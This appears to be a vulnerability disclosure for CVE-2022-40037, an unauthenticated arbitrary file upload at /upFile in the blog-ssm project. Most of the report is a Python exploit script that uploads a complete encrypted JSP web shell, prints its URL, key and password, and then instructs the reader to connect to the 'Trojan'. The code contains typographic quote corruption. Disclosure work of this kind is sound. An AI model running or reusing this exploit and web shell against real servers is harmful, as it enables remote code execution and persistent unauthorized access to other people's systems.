Headline
CVE-2022-40037: Unrestricted Upload of File with Dangerous Type In /upFile · Issue #2 · rawchen/blog-ssm
An issue discovered in Rawchen blog-ssm v1.0 allows remote attacker to escalate privileges and execute arbitrary commands via the component /upFile.
Unrestricted Upload of File with Dangerous Type In /upFile****[Suggested description]
blog-ssm v1.0 was found to contain an arbitrary file upload vulnerability via the component /upFile. This vulnerability allows an attacker to escalate privileges and execute arbitrary commands through a crafted file.
[Vulnerability Type]
Unrestricted Upload of File with Dangerous Type
[Vendor of Product]
https://github.com/rawchen/blog-ssm
[Affected Product Code Base]
1.0
[Affected Component]
blog-ssm 1.0
OS: Windows/Linux/macOS
Browser: Chrome、Firefox、Safari
[Attack Vector]****Step1:After a code audit, it was found that /upFile has unauthorized access and arbitrary file uploads.
Step2:Build EXP according to the code audit results, and run it to get the URL address of WebShell: http://localhost:8081/upload/blog/20220901/1662015136678.jsp
EXP:
import requests
# Configure the target URL. Host = “localhost:8081” Path = “upFile” Url = "http://{Host}/{Path}".format(Host=Host, Path=Path) # Configure Headers. Headers = {"sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://{Host}".format(Host=Host), "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNOyNFd8trb922Qzd", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/104.0.0.0 Safari/537.36", "Connection": "close"} # Configure Data, where the WebShell key is KEY, the password is Pass, the payload is JavaDynamicPayload, # and the encryptor is JAVA_AES_BASE64. Data = "------WebKitFormBoundaryNOyNFd8trb922Qzd\r\nContent-Disposition: form-data; name=\"editormd-image-file\"; " \ “filename=\"text.jsp\"\r\n” \ “Content-Type: image/jpeg\r\n\r\n” \ "<%! String xc=\"3c6e0b8a9c15224a\"; String pass=\"pass\"; String md5=md5(pass+xc); class X extends " \ “ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, " \ “cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(" \ “\"AES\”);c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\"AES\”));return c.doFinal(s); }catch " \ "(Exception e){return null; }} public static String md5(String s) {String ret = null;try {” \ “java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\"MD5\”);m.update(s.getBytes(), 0, " \ “s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {” \ "}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = " \ “null;try {base64=Class.forName(\"java.util.Base64\”);Object Encoder = base64.getMethod(\"getEncoder\", " \ "null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\"encodeToString\", new Class[] { " \ "byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(" \ “\"sun.misc.BASE64Encoder\”); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass(" \ ").getMethod(\"encode\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception " \ "e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] " \ “value = null;try {base64=Class.forName(\"java.util.Base64\”);Object decoder = base64.getMethod(" \ "\"getDecoder\", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(\"decode\", " \ "new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { " \ “base64=Class.forName(\"sun.misc.BASE64Decoder\”); Object decoder = base64.newInstance(); value = (byte[" \ "])decoder.getClass().getMethod(\"decodeBuffer\", new Class[] { String.class }).invoke(decoder, new Object[] { " \ “bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(" \ “pass));data=x(data, false);if (session.getAttribute(\"payload\”)==null){session.setAttribute(\"payload\",” \ “new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\"parameters\",” \ "data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((" \ “Class)session.getAttribute(\"payload\”)).newInstance();f.equals(arrOut);f.equals(" \ "pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(" \ “base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (" \ “Exception e){}\r\n%>\r\n” \ "------WebKitFormBoundaryNOyNFd8trb922Qzd–\r\n” response = requests.post(Url, headers=Headers, data=Data) # Output WebShell address and connection information. Path = response.json()[‘url’] Url = "http://{Host}{Path}".format(Host=Host, Path=Path) print("Web_Shell_Url:{Url}".format(Url=Url)) print(“Web_Shell_Key:{Key}".format(Key="key”)) print(“Web_Shell_Pass:{Pass}".format(Pass="pass”)) print(“Web_Shell_Payload:{Payload}".format(Payload="JavaDynamicPayload”)) print(“Web_Shell_Encryptor:{Encryptor}".format(Encryptor="JAVA_AES_BASE64”))
Step3:Connect to the Trojan via http://localhost:8081/upload/blog/20220901/1662015136678.jsp.
[Attack Type]
Remote
[Impact Code execution]
True
[Reference(s)]
http://cwe.mitre.org/data/definitions/23.html